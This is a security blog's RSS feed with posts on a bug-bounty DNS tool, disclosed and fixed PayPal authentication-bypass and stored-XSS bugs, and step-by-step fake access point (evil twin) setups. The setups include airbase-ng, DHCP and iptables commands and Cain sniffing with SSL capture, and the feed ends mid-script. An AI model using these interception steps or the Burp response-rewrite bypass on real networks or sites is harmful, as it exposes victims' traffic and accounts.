<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Exploit KB</title>
	<atom:link href="http://exploit.co.il/feed/" rel="self" type="application/rss+xml" />
	<link>http://exploit.co.il</link>
	<description>exploit ~#</description>
	<lastBuildDate>Wed, 24 Apr 2013 17:38:51 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
	<div id='fb-root'></div>
					<script type='text/javascript'>
						window.fbAsyncInit = function()
						{
							FB.init({appId: null, status: true, cookie: true, xfbml: true});
						};
						(function()
						{
							var e = document.createElement('script'); e.async = true;
							e.src = document.location.protocol + '//connect.facebook.net/en_US/all.js';
							document.getElementById('fb-root').appendChild(e);
						}());
					</script>	
						<item>
		<title>Resolver 1.0.9 &#8211; Bug Hunters Edition Release</title>
		<link>http://exploit.co.il/hacking/resolver-109-bug-hunters-edition-release/</link>
		<comments>http://exploit.co.il/hacking/resolver-109-bug-hunters-edition-release/#comments</comments>
		<pubDate>Wed, 24 Apr 2013 17:38:51 +0000</pubDate>
		<dc:creator>NightRanger</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[.netX application]]></category>
		<category><![CDATA[a record]]></category>
		<category><![CDATA[back resolving]]></category>
		<category><![CDATA[brute force]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[dns tool]]></category>
		<category><![CDATA[freeware]]></category>
		<category><![CDATA[hosname]]></category>
		<category><![CDATA[hosts]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[ptr]]></category>
		<category><![CDATA[resolver]]></category>
		<category><![CDATA[tool]]></category>
		<category><![CDATA[vb]]></category>
		<category><![CDATA[visual basic]]></category>

		<guid isPermaLink="false">http://exploit.co.il/?p=2455</guid>
		<description><![CDATA[I am happy to announce of a special release of Resolver version 1.0.9 &#8220;Bug Hunters Edition&#8221; If you want to know what Resolver is you can read about it Here. What is new and why its called the &#8220;Bug Hunters Edition&#8221; ? Well&#8230;When participating in a bug bounty programs you may want to find  as ...]]></description>
				<content:encoded><![CDATA[<p>I am happy to announce of a special release of <a title="Resolver" href="http://exploit.co.il/hacking/resolver/">Resolver </a>version 1.0.9 &#8220;Bug Hunters Edition&#8221;</p>
<p>If you want to know what Resolver is you can read about it <a title="Resolver" href="http://exploit.co.il/projects/resolver/">Here</a>.</p>
<p>What is new and why its called the &#8220;Bug Hunters Edition&#8221; ?</p>
<p>Well&#8230;When participating in a bug bounty programs you may want to find  as much  domains and sub domains of the company as you can, but not just any sub domain, preferably those which are web servers hosting a web app.</p>
<p>When preforming sub domains brute force you may end up with a long list of sub domains, now you will need to start and probe each result to test if it is a web server or not, In addition to the previous version of Resolver capabilities I added specially for this task Auto check for HTTP/HTTPS for every sub domain found  And Bing ip search in order to find which domains (sites) are hosted on a single ip address , all results can be exported to a text file in a grepable format.</p>
<p><strong>* Please notice, you will need to register with Microsoft to <a href="https://datamarket.azure.com/dataset/5BA839F1-12CE-4CCE-BF57-A49D98D29A44">obtain a bing api key</a> in order to use the bing ip search feature</strong></p>
<p>With these new features Resolver can be pretty useful tool for you hunters out there and save a lot of time in the quest for searching new places to explore.</p>
<p>Screenshots:</p>
<p><a href="http://exploit.co.il/wp-content/uploads/2013/04/resolver-1.0.9-1.png"><img class="aligncenter size-medium wp-image-2467" alt="resolver-1.0.9-1" src="http://exploit.co.il/wp-content/uploads/2013/04/resolver-1.0.9-1-300x184.png" width="300" height="184" /></a></p>
<p><a href="http://exploit.co.il/wp-content/uploads/2013/04/resolver-1.0.9-2.png"><img class="aligncenter size-medium wp-image-2468" alt="resolver-1.0.9-2" src="http://exploit.co.il/wp-content/uploads/2013/04/resolver-1.0.9-2-300x184.png" width="300" height="184" /></a></p>
<p>The new version can be downloaded from source forge:</p>
<div class="download_box"><a href="http://sourceforge.net/projects/exploitresolver/files/Resolver-1.0.9.0.zip/download">http://sourceforge.net/projects/exploitresolver/files/Resolver-1.0.9.0.zip/download</a></div>
<p>Happy Hunting <img src='http://exploit.co.il/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>&nbsp;</p>
<div class="tweetthis" style="text-align:left;"><p> <a class="tt" href="http://twitter.com/intent/tweet?text=Resolver+1.0.9+%E2%80%93+Bug+Hunters+Edition+Release+http%3A%2F%2Fexploit.co.il%2F%3Fp%3D2455" title="Post to Twitter"><img class="nothumb" src="http://exploit.co.il/wp-content/plugins/tweet-this/icons/en/twitter/tt-twitter-micro4.png" alt="Post to Twitter" /></a></p></div><div class='wpfblike' style='height: 40px;'><fb:like href='http://exploit.co.il/hacking/resolver-109-bug-hunters-edition-release/' layout='default' show_faces='false' width='400' action='like' colorscheme='light' send='false' /></div>]]></content:encoded>
			<wfw:commentRss>http://exploit.co.il/hacking/resolver-109-bug-hunters-edition-release/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PayPal Gesture Pay Admin Panel Authentication Bypass</title>
		<link>http://exploit.co.il/hacking/paypal-gesture-pay-admin-panel-authentication-bypass/</link>
		<comments>http://exploit.co.il/hacking/paypal-gesture-pay-admin-panel-authentication-bypass/#comments</comments>
		<pubDate>Tue, 16 Apr 2013 19:03:45 +0000</pubDate>
		<dc:creator>NightRanger</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[auth bypass]]></category>
		<category><![CDATA[authentication bypass]]></category>
		<category><![CDATA[bug]]></category>
		<category><![CDATA[bug bounty]]></category>
		<category><![CDATA[bugbounty]]></category>
		<category><![CDATA[burp]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[paypal]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[session]]></category>

		<guid isPermaLink="false">http://exploit.co.il/?p=2407</guid>
		<description><![CDATA[During my participation in the PayPal bug bounty program I came a cross an application which allows to make payments using a signature / gesture with your mobile phone, the app was hosted on https://apac.paypal-labs.com/gesture/, I guess this app was still in development due to the reason it was hosted on a PayPal-labs sub domain. ...]]></description>
				<content:encoded><![CDATA[<p>During my participation in the PayPal bug bounty program I came a cross an application which allows to make payments using a signature / gesture with your mobile phone, the app was hosted on https://apac.paypal-labs.com/gesture/, I guess this app was still in development due to the reason it was hosted on a PayPal-labs sub domain.</p>
<p>Poking around the app I found there’s an admin panel login page by adding /admin to the URL (https://apac.paypal-labs.com/gesture/admin/login.php)</p>
<p>I was presented with a login form, which required a user name and password in order to access the admin panel.</p>
<p>I tried some common page names in the URL such as https://apac.paypal-labs.com/gesture/admin/index.php and I noticed I was redirected back to the “<strong>login.php</strong>” page.</p>
<p>I fired up Burp and intercepted the request to “<strong>index.php</strong>”, next I forwarded the request and intercepted the page response, I noticed the “<strong>HTTP/1.1 302 Found</strong>” code in the http header and below the header I noticed there is lots of html code.</p>
<p>I changed the Response header to “<strong>HTTP/1.1 200 Found</strong>” and forwarded the response and to my surprise I was presented with the admin panel content which allowed me full access to all pages and features (I would have to change each request response to “200” for each page I was trying to access).</p>
<p><strong>I reported this issue to PayPal, The application was removed immediately and is no longer available.</strong></p>
<p>Here&#8217;s a video of the process of exploiting this vulnerability:</p>
<p><iframe src="http://player.vimeo.com/video/64161522?portrait=0&amp;color=c9ff23" height="501" width="800" allowfullscreen="" frameborder="0"></iframe></p>
<p><a href="http://vimeo.com/64161522">Paypal Gesture Pay Admin Panel Authentication Bypass</a> from <a href="http://vimeo.com/user3849446">NightRanger</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<p>Although this was a Blackbox test and I didn’t had any access to the page source code I could tell why this issue occurred.</p>
<p>Here is a sample code, which illustrates the issue:</p>
<div class="codecolorer-container php mac-classic" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?php</span> <br />
<br />
<span style="color: #990000;">session_start</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SESSION</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;auth&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> &nbsp; &nbsp;<br />
<span style="color: #990000;">header</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Location: login.php'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
<br />
<span style="color: #009900;">&#125;</span><br />
&nbsp;<span style="color: #000000; font-weight: bold;">?&gt;</span><br />
<br />
&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.01 Transitional//EN&quot; &quot;http://www.w3.org/TR/html4/loose.dtd&quot;&gt;</div></td></tr></tbody></table></div>
<p>The above code checks if the user has established a session and if not redirects the user back to the login page, the problem is that the content of the page, which contains this code, is also displayed in the process of redirection because further script execution was not terminated.</p>
<p>And here is a simple fix:</p>
<div class="codecolorer-container php mac-classic" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?php</span> <br />
<span style="color: #990000;">session_start</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SESSION</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;auth&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> &nbsp; &nbsp; &nbsp; &nbsp; <br />
<span style="color: #990000;">exit</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">header</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Location: login.php'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
<span style="color: #009900;">&#125;</span> <br />
<br />
<span style="color: #000000; font-weight: bold;">?&gt;</span></div></td></tr></tbody></table></div>
<p>&nbsp;</p>
<p>There is a way to browse the admin panel without the need to change the response code manually using burp suite.<br />
You can configure burp to do so using the following steps:</p>
<p>1. Go to Proxy Tab –&gt; Options Tab –&gt; Match and Replace.<br />
2. Click the &#8220;Add&#8221; button.<br />
3. Enter the following setting:</p>
<p>Type: Response Header<br />
Match: 302 Found<br />
Replace: 200 Found</p>
<p>I made a simple demo showing the process of exploiting the same issue using burp auto replacement feature:</p>
<p><iframe src="http://player.vimeo.com/video/64169104?portrait=0&amp;color=c9ff23" height="500" width="800" allowfullscreen="" frameborder="0"></iframe></p>
<p><a href="http://vimeo.com/64169104">Authentication Bypass Example Using Burp</a> from <a href="http://vimeo.com/user3849446">NightRanger</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<div class="tweetthis" style="text-align:left;"><p> <a class="tt" href="http://twitter.com/intent/tweet?text=PayPal+Gesture+Pay+Admin+Panel+Authentication+Bypass+http%3A%2F%2Fexploit.co.il%2F%3Fp%3D2407" title="Post to Twitter"><img class="nothumb" src="http://exploit.co.il/wp-content/plugins/tweet-this/icons/en/twitter/tt-twitter-micro4.png" alt="Post to Twitter" /></a></p></div><div class='wpfblike' style='height: 40px;'><fb:like href='http://exploit.co.il/hacking/paypal-gesture-pay-admin-panel-authentication-bypass/' layout='default' show_faces='false' width='400' action='like' colorscheme='light' send='false' /></div>]]></content:encoded>
			<wfw:commentRss>http://exploit.co.il/hacking/paypal-gesture-pay-admin-panel-authentication-bypass/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PayPal Stored XSS via Request Payment feature or &#8220;How to inject a malicious payload remotely into users accounts&#8221;</title>
		<link>http://exploit.co.il/hacking/paypal-stored-xss-request-payment-feature-inject-malicious-payload-remotely-users-accounts/</link>
		<comments>http://exploit.co.il/hacking/paypal-stored-xss-request-payment-feature-inject-malicious-payload-remotely-users-accounts/#comments</comments>
		<pubDate>Sat, 01 Dec 2012 14:43:55 +0000</pubDate>
		<dc:creator>NightRanger</dc:creator>
				<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://exploit.co.il/?p=2375</guid>
		<description><![CDATA[This is the first vulnerability i discovered during the PayPal bug bounty program on the first day of the program, i thought its about time i&#8217;d share it with ya all. Vulnerability Details: An attacker is able to inject and execute a malicious payload on a remote user account without the need to convince the ...]]></description>
				<content:encoded><![CDATA[<p>This is the first vulnerability i discovered during the PayPal bug bounty program on the first day of the program, i thought its about time i&#8217;d share it with ya all.</p>
<p>Vulnerability Details:</p>
<p>An attacker is able to inject and execute a malicious payload on a remote user account without the need to convince the victim to click anything, it only requires the user to login to his PayPal account.</p>
<p>The vulnerability is caused due to the lack of input validation and sanitization of the &#8220;Business Name&#8221; field.</p>
<p>This issue enables the attacker to change his business name to a malicious Javascript payload, this will cause for a Stored (Self) XSS to trigger in the attacker account under his Profile &#8211; Account Information &#8211; Street Address.<br />
I was looking for a way to trigger this XSS on a remote user account and found that the payload can also be triggered by sending a Payment request.</p>
<p>These are the steps that were required in order to exploit this issue :</p>
<p>1. The attacker change his business name to a malicious javascript payload.<br />
2. The attacker sends a payment request to the victim.<br />
3. Once the user logs in to his account the payment request appears on the &#8220;Recent Activities&#8221; chart which loads on the main account page.<br />
4. The XSS triggers on the user automatically when it tries to load the attacker business name.</p>
<p>I would like to thank PayPal for the opportunity to participate in this wonderful program and rewarding me for this bug.</p>
<p>**** This bug is already been fixed! ****</p>
<p><iframe src="http://player.vimeo.com/video/54672925?badge=0&amp;color=c9ff23" width="800" height="450" frameborder="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen></iframe>
<p><a href="http://vimeo.com/54672925">PayPal Stored XSS via Request Payment feature or &#8220;How to inject a malicious payload remotely into users accounts&#8221;</a> from <a href="http://vimeo.com/user3849446">NightRanger</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<div class="tweetthis" style="text-align:left;"><p> <a class="tt" href="http://twitter.com/intent/tweet?text=PayPal+Stored+XSS+via+Request+Payment+feature+or+%E2%80%9CHow+to+inject+a+malicious+payload+remotely+into+users+acco...+http%3A%2F%2Fexploit.co.il%2F%3Fp%3D2375" title="Post to Twitter"><img class="nothumb" src="http://exploit.co.il/wp-content/plugins/tweet-this/icons/en/twitter/tt-twitter-micro4.png" alt="Post to Twitter" /></a></p></div><div class='wpfblike' style='height: 40px;'><fb:like href='http://exploit.co.il/hacking/paypal-stored-xss-request-payment-feature-inject-malicious-payload-remotely-users-accounts/' layout='default' show_faces='false' width='400' action='like' colorscheme='light' send='false' /></div>]]></content:encoded>
			<wfw:commentRss>http://exploit.co.il/hacking/paypal-stored-xss-request-payment-feature-inject-malicious-payload-remotely-users-accounts/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Windows 7 Fake Access Point With Alfa AWUS036H</title>
		<link>http://exploit.co.il/hacking/windows-7-fake-access-point-alfa-awus036h/</link>
		<comments>http://exploit.co.il/hacking/windows-7-fake-access-point-alfa-awus036h/#comments</comments>
		<pubDate>Fri, 11 Nov 2011 10:43:20 +0000</pubDate>
		<dc:creator>NightRanger</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[adapter]]></category>
		<category><![CDATA[air-crack]]></category>
		<category><![CDATA[alfa]]></category>
		<category><![CDATA[alfa AWUS036H]]></category>
		<category><![CDATA[alfa usb]]></category>
		<category><![CDATA[AP]]></category>
		<category><![CDATA[AWUS036H]]></category>
		<category><![CDATA[backtrack]]></category>
		<category><![CDATA[cain]]></category>
		<category><![CDATA[cain and able]]></category>
		<category><![CDATA[evil twin]]></category>
		<category><![CDATA[fake access point]]></category>
		<category><![CDATA[fake ap]]></category>
		<category><![CDATA[mitm]]></category>
		<category><![CDATA[sniffer]]></category>
		<category><![CDATA[sniffing]]></category>
		<category><![CDATA[soft access point]]></category>
		<category><![CDATA[soft ap]]></category>
		<category><![CDATA[usb]]></category>
		<category><![CDATA[win]]></category>
		<category><![CDATA[win ap]]></category>
		<category><![CDATA[win7]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[windows 7]]></category>
		<category><![CDATA[windows access point]]></category>
		<category><![CDATA[wireless]]></category>

		<guid isPermaLink="false">http://exploit.co.il/?p=2317</guid>
		<description><![CDATA[In my previous post I discussed how to Setup a Fake Access Point with Backtrack Linux  Although I love Backtrack Linux one of the tools I really miss is Cain &#38; Able, I thought some of you will want to setup a Fake AP when Pentesting on Windows systems as well. So, here it goes&#8230; I am using an Alfa ...]]></description>
				<content:encoded><![CDATA[<p>In my<a title="Setup a Fake Access Point With BackTrack5" href="http://exploit.co.il/hacking/set-fake-access-point-backtrack5/"> previous post </a>I discussed how to <a title="Setup a Fake Access Point With BackTrack5" href="http://exploit.co.il/hacking/set-fake-access-point-backtrack5/">Setup a Fake Access Point with Backtrack Linux </a></p>
<p>Although I love <a href="http://www.backtrack-linux.org/">Backtrack Linux</a> one of the tools I really miss is <a href="http://www.oxid.it/cain.html">Cain &amp; Able</a>, I thought some of you will want to setup a Fake AP when Pentesting on Windows systems as well.</p>
<p>So, here it goes&#8230;</p>
<p>I am using an <a href="http://www.alfa.com.tw/in/front/bin/ptdetail.phtml?Part=AWUS036H&amp;Category=105479">Alfa AWUS036H wlan usb adapter</a>, This adapter works great under <a href="http://www.backtrack-linux.org/">Backtrack </a>and Windows systems, It is also fully supported with the <a href="http://www.aircrack-ng.org/">Air-crack ng</a> tool suit.</p>
<p>In order to use this adapter under Windows systems you will need  to <a href="http://www.alfa.com.tw/in/front/bin/ptlist.phtml?Category=105397">download it&#8217;s driver </a></p>
<p>After installing the driver you will find that the Alfa wireless LAN utility was also installed on your system.</p>
<p>&nbsp;</p>
<p><a href="http://exploit.co.il/wp-content/uploads/2011/11/1.png"><img class="aligncenter size-medium wp-image-2323" title="1" src="http://exploit.co.il/wp-content/uploads/2011/11/1-300x274.png" alt="" width="300" height="274" /></a></p>
<p>This utility has a nice feature which enables you to specify the mode of operation</p>
<p>the two modes available are &#8220;Station Mode&#8221; and &#8220;Access Point Mode&#8221;</p>
<p>In order to use the AP mode you will need a second LAN/WLAN Adapter which will be connected to the internet, The utility will switch to AP mode and will enable &#8220;Internet Connection Sharing&#8221;</p>
<p><a href="http://exploit.co.il/wp-content/uploads/2011/11/2.png"><img class="aligncenter size-medium wp-image-2324" title="2" src="http://exploit.co.il/wp-content/uploads/2011/11/2-300x138.png" alt="" width="300" height="138" /></a></p>
<p>Now all is left is to configure your AP SSID and Channel number</p>
<p><a href="http://exploit.co.il/wp-content/uploads/2011/11/3.png"><img class="aligncenter size-medium wp-image-2325" title="3" src="http://exploit.co.il/wp-content/uploads/2011/11/3-300x274.png" alt="" width="300" height="274" /></a></p>
<p>&nbsp;</p>
<p><a href="http://exploit.co.il/wp-content/uploads/2011/11/4.png"><img class="aligncenter size-medium wp-image-2326" title="4" src="http://exploit.co.il/wp-content/uploads/2011/11/4-223x300.png" alt="" width="223" height="300" /></a></p>
<p>That&#8217;s it you have a Working Access point!</p>
<p>You can see connected clients in the utility &#8220;General&#8221; tab:</p>
<p><a href="http://exploit.co.il/wp-content/uploads/2011/11/5.png"><img class="aligncenter size-medium wp-image-2327" title="5" src="http://exploit.co.il/wp-content/uploads/2011/11/5-300x274.png" alt="" width="300" height="274" /></a></p>
<p>Now we fire up &#8220;Cain&#8221; choose the Alfa interface and start the sniffer</p>
<p><a href="http://exploit.co.il/wp-content/uploads/2011/11/6.png"><img class="aligncenter size-medium wp-image-2328" title="6" src="http://exploit.co.il/wp-content/uploads/2011/11/6-300x205.png" alt="" width="300" height="205" /></a></p>
<p>&nbsp;</p>
<p>In order to capture SSL traffic you will need to enable &#8220;APR&#8221;</p>
<p><a href="http://exploit.co.il/wp-content/uploads/2011/11/7.png"><img class="aligncenter size-medium wp-image-2329" title="7" src="http://exploit.co.il/wp-content/uploads/2011/11/7-300x155.png" alt="" width="300" height="155" /></a></p>
<p><a href="http://exploit.co.il/wp-content/uploads/2011/11/8.png"><img class="aligncenter size-medium wp-image-2330" title="8" src="http://exploit.co.il/wp-content/uploads/2011/11/8-300x155.png" alt="" width="300" height="155" /></a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<div class="tweetthis" style="text-align:left;"><p> <a class="tt" href="http://twitter.com/intent/tweet?text=Windows+7+Fake+Access+Point+With+Alfa+AWUS036H+http%3A%2F%2Fexploit.co.il%2F%3Fp%3D2317" title="Post to Twitter"><img class="nothumb" src="http://exploit.co.il/wp-content/plugins/tweet-this/icons/en/twitter/tt-twitter-micro4.png" alt="Post to Twitter" /></a></p></div><div class='wpfblike' style='height: 40px;'><fb:like href='http://exploit.co.il/hacking/windows-7-fake-access-point-alfa-awus036h/' layout='default' show_faces='false' width='400' action='like' colorscheme='light' send='false' /></div>]]></content:encoded>
			<wfw:commentRss>http://exploit.co.il/hacking/windows-7-fake-access-point-alfa-awus036h/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Setup a Fake Access Point With BackTrack5</title>
		<link>http://exploit.co.il/hacking/set-fake-access-point-backtrack5/</link>
		<comments>http://exploit.co.il/hacking/set-fake-access-point-backtrack5/#comments</comments>
		<pubDate>Sun, 06 Nov 2011 19:46:15 +0000</pubDate>
		<dc:creator>NightRanger</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[airbase]]></category>
		<category><![CDATA[airbase-ng]]></category>
		<category><![CDATA[aircrack]]></category>
		<category><![CDATA[aircrack-ng]]></category>
		<category><![CDATA[backtrack]]></category>
		<category><![CDATA[backtrack5]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[evil twin]]></category>
		<category><![CDATA[fake access point]]></category>
		<category><![CDATA[fake ap]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[rouge access point]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[wifi]]></category>

		<guid isPermaLink="false">http://exploit.co.il/?p=2257</guid>
		<description><![CDATA[Recently I needed to setup a fake access point for a presentation, I fired up my Backtrack5 VM, Connected my Alfa AWUS036H USB adapter and started to configure the Fake AP. There are a lot of Tutorials and Scripts for setting up a Fake AP,  The &#8220;Gerix&#8221;  tool also have an option to auto set ...]]></description>
				<content:encoded><![CDATA[<p>Recently I needed to setup a fake access point for a presentation, I fired up my <a href="http://www.backtrack-linux.org/" target="_blank">Backtrack5</a> VM, Connected my Alfa AWUS036H USB adapter and started to configure the Fake AP.</p>
<p>There are a lot of Tutorials and Scripts for setting up a Fake AP,  The &#8220;Gerix&#8221;  tool also have an option to auto set a Fake AP (for some reason this tool never worked for me).</p>
<p>I started to setup my fake AP and had run into some trouble for a strange reason.</p>
<p>I decided to put my experience here hopefully you&#8217;ll find it useful.</p>
<p>Started by putting my Wlan interface in monitor mode</p>
<pre>root@Blackbox:~/fakeap# <strong>airmon-ng start wlan1</strong>
Found 1 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
PID     Name
1558    dhclient
Interface       Chipset         Driver
wlan1           Realtek RTL8187L        rtl8187 - [phy1]<span style="color: #ff0000;">SIOCSIFFLAGS: Unknown error 132</span>
                                (monitor mode enabled on mon0)</pre>
<p>I noticed the following error: &#8220;Unknown error 132&#8243;<br />
Tried using airodump-ng to see what happens…</p>
<pre>root@Blackbox:~/fakeap# <strong>airodump-ng mon0</strong>
ioctl(SIOCSIFFLAGS) <span style="color: #ff0000;">failed: Unknown error 132</span></pre>
<p>Got the same error.</p>
<p>The solution was simply to unload the RTL8187 and Load the R8187 driver instead as follows:</p>
<pre>root@Blackbox:~/fakeap# <strong>rmmod rtl8187</strong>
root@Blackbox:~/fakeap# <strong>modprobe r8187</strong></pre>
<p>Tried putting wlan In monitor mode again</p>
<pre>root@Blackbox:~/fakeap# <strong>airmon-ng start wlan1</strong>
Found 1 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
PID     Name
1558    dhclient
Interface       Chipset         Driver
wlan1           RTL8187         r8187 (<span style="color: #ff0000;">monitor mode enabled</span>)</pre>
<p>Well, that fixed the problem</p>
<pre>root@Blackbox:~/fakeap# <strong>iwconfig</strong>
lo        no wireless extensions.
eth3      no wireless extensions.
wlan1     802.11b/g  <span style="color: #ff0000;">Mode:Monitor</span>  Channel=10  Bit Rate=11 Mb/s
          Tx-Power=5 dBm
          Retry:on   Fragment thr:off
          Link Quality=0/100  Signal level=50 dBm  Noise level=-156 dBm
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0</pre>
<p>Now we can proceed to the fake ap setup process</p>
<p>1. Install a DHCP Server</p>
<pre>apt-get install dhcp3-server</pre>
<p>2. Edit &#8220;/etc/dhcp3/dhcpd.conf&#8221; as follows (You can change ip address, pool and dns server as needed):</p>
<pre>ddns-update-style ad-hoc;
default-lease-time 600;
max-lease-time 7200;
authoritative;
subnet 10.0.0.0 netmask 255.255.255.0 {
option subnet-mask 255.255.255.0;
option broadcast-address 10.0.0.255;
option routers 10.0.0.254;
option domain-name-servers 8.8.8.8;
range 10.0.0.1 10.0.0.140;
}</pre>
<p>3. Put your wlan in monitor mode</p>
<pre>airmon-ng start wlan1</pre>
<p>4. Start airbase-ng, you will need to specify the AP SSID and channel number</p>
<pre>airbase-ng -e FreeWifi -c 11 -v wlan1 &amp;</pre>
<p>5. Airbase will create a new adapter &#8220;at0&#8243; you will need to enable it and assign it with an ip address and subnet mask, the ip address you assign to this interface will be the default gateway that you specified in the dhcpd.conf file.</p>
<pre>ifconfig at0 up
ifconfig at0 10.0.0.254 netmask 255.255.255.0</pre>
<p>6. Add a route</p>
<pre>route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.254</pre>
<p>7. Setup ip tables</p>
<pre>iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -P FORWARD ACCEPT</pre>
<p>• Eth3 is my external interface which is connected to the internet change it to whatever yours is</p>
<pre>iptables -t nat -A POSTROUTING -o eth3 -j MASQUERADE</pre>
<p>8. Clear dhcp leases</p>
<pre>echo &gt; '/var/lib/dhcp3/dhcpd.leases'</pre>
<p>9. Create a symlink to dhcpd.pid (skipping this may cause an error when starting dhcp server)</p>
<pre>ln -s /var/run/dhcp3-server/dhcpd.pid /var/run/dhcpd.pid</pre>
<p>10. Start the DHCP server</p>
<pre>dhcpd3 -d -f -cf /etc/dhcp3/dhcpd.conf at0 &amp;</pre>
<p>11. Don’t forget to enable IP forwarding</p>
<pre>echo "1" &gt; /proc/sys/net/ipv4/ip_forward</pre>
<p>That&#8217;s All Folks!</p>
<p>I have created a simple bash script to automate this process you will just need to change it  to suit your configuration.</p>
<div class="codecolorer-container bash mac-classic" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:1120px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br />27<br />28<br />29<br />30<br />31<br />32<br />33<br />34<br />35<br />36<br />37<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">#!/bin/bash</span><br />
<br />
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Killing Airbase-ng...&quot;</span><br />
pkill airbase-ng<br />
<span style="color: #c20cb9; font-weight: bold;">sleep</span> <span style="color: #000000;">2</span>;<br />
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Killing DHCP...&quot;</span><br />
pkill dhcpd3<br />
<span style="color: #c20cb9; font-weight: bold;">sleep</span> <span style="color: #000000;">5</span>;<br />
<br />
